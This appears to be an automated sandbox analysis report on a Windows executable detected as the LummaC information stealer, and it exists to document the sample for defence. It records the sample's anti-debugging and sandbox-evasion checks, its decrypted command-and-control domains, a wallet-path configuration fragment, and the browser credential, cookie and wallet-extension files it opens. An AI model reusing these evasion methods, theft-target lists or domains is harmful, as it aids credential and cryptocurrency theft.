Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AC92BE second address: 5AC92CE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCE94E61206h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AC92CE second address: 5AC92D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AC92D4 second address: 5AC92D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5AC92D8 second address: 5AC92E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B093EA second address: 5B093F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B093F0 second address: 5B093FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B093FA second address: 5B09400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B09400 second address: 5B09404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B09559 second address: 5B0955D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B096CA second address: 5B09704 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCE94BEBC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FCE94BEBC28h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FCE94BEBC24h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B09C08 second address: 5B09C12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FCE94E61206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B09D7A second address: 5B09D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FCE94BEBC16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B09D84 second address: 5B09D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B0A730 second address: 5B0A742 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B0A742 second address: 5B0A746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B0A746 second address: 5B0A74A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B0A74A second address: 5B0A750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 5B0A750 second address: 5B0A756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\RDb082EApV.exe	Special instruction interceptor: First address: 68E26 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RDb082EApV.exe	Special instruction interceptor: First address: 222F80 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RDb082EApV.exe	Special instruction interceptor: First address: 2A15DC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RDb082EApV.exe	Special instruction interceptor: First address: 595DE24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RDb082EApV.exe	Special instruction interceptor: First address: 5AFFC9B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RDb082EApV.exe	Special instruction interceptor: First address: 5B94556 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\RDb082EApV.exe	Special instruction interceptor: First address: 5961E4B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\RDb082EApV.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\RDb082EApV.exe TID: 5436	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe TID: 2200	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe TID: 5772	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe TID: 2756	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe TID: 2720	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe TID: 1508	Thread sleep time: -36018s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\RDb082EApV.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: RDb082EApV.exe, 00000000.00000003.1854192826.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1843896965.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1822756808.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1743824632.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1822268061.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RDb082EApV.exe, 00000000.00000003.1854192826.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1996144939.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1843896965.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1822756808.00000000007DC000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1743824632.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1822268061.00000000007DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL

Source: C:\Users\user\Desktop\RDb082EApV.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\RDb082EApV.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\RDb082EApV.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\RDb082EApV.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\RDb082EApV.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\RDb082EApV.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\RDb082EApV.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\RDb082EApV.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\RDb082EApV.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\RDb082EApV.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\RDb082EApV.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: NTICE
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: SICE
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\RDb082EApV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: RDb082EApV.exe, 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: RDb082EApV.exe, 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: RDb082EApV.exe, 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: RDb082EApV.exe, 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: RDb082EApV.exe, 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: RDb082EApV.exe, 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: RDb082EApV.exe, 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: RDb082EApV.exe, 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: RDb082EApV.exe, 00000000.00000003.1693723088.0000000004650000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\RDb082EApV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=RDb082EApV.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: C:\Users\user\Desktop\RDb082EApV.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\RDb082EApV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RDb082EApV.exe, 00000000.00000003.1853819783.0000000005119000.00000004.00000800.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1854259179.00000000007C3000.00000004.00000020.00020000.00000000.sdmp, RDb082EApV.exe, 00000000.00000003.1854192826.00000000007DC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\RDb082EApV.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: RDb082EApV.exe PID: 6360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RDb082EApV.exe, 00000000.00000003.1822756808.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets
Source: RDb082EApV.exe, 00000000.00000003.1822756808.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":["*"],"z":"Wallets
Source: RDb082EApV.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: RDb082EApV.exe, 00000000.00000003.1822756808.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t":0,"p":"
Source: RDb082EApV.exe, 00000000.00000003.1822756808.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""]
Source: RDb082EApV.exe	String found in binary or memory: ExodusWeb3
Source: RDb082EApV.exe, 00000000.00000003.1822756808.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""]
Source: RDb082EApV.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: RDb082EApV.exe, 00000000.00000003.1822756808.0000000000834000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""]

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\RDb082EApV.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
